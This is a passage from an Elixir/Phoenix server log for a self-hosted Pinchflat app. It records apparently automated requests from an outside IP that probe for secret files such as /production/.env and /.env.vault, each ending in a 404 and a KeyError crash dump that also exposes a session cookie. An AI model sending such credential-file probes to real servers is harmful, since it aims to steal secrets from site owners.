"settings" AS s0 LIMIT 1 [] 02:10:23.217 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:23.218 [error] #PID<0.3514.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 210) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /development/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /development/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/development/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 210, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3514.0>, params: %{}, path_info: ["development", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/development/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6_fIv0hm3B4AATRB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/development/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 210, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /development/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/development/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 210, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdg (truncated) 02:10:23.278 [info] GET /production/.env 02:10:23.279 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=187.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:23.280 [debug] QUERY OK source="settings" db=0.4ms idle=121.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:23.280 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:23.281 [error] #PID<0.3515.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 211) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /production/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /production/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/production/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 211, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3515.0>, params: %{}, path_info: ["production", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/production/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6_uIA6KWSxUAATSB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/production/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 211, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /production/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/production/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 211, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ (truncated) 02:10:23.341 [info] GET /config/app/.env 02:10:23.342 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=183.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:23.343 [debug] QUERY OK source="settings" db=0.3ms idle=126.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:23.343 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:23.344 [error] #PID<0.3516.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 212) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /config/app/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/app/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/app/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 212, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3516.0>, params: %{}, path_info: ["config", "app", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/config/app/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6_9Pl3ol8YgAATTB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/app/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 212, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/app/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/app/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 212, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xD (truncated) 02:10:23.401 [info] GET /.env.vault 02:10:23.402 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=184.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:23.402 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=123.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:23.403 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:23.403 [error] #PID<0.3517.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 213) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.vault ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.vault", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 213, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3517.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) 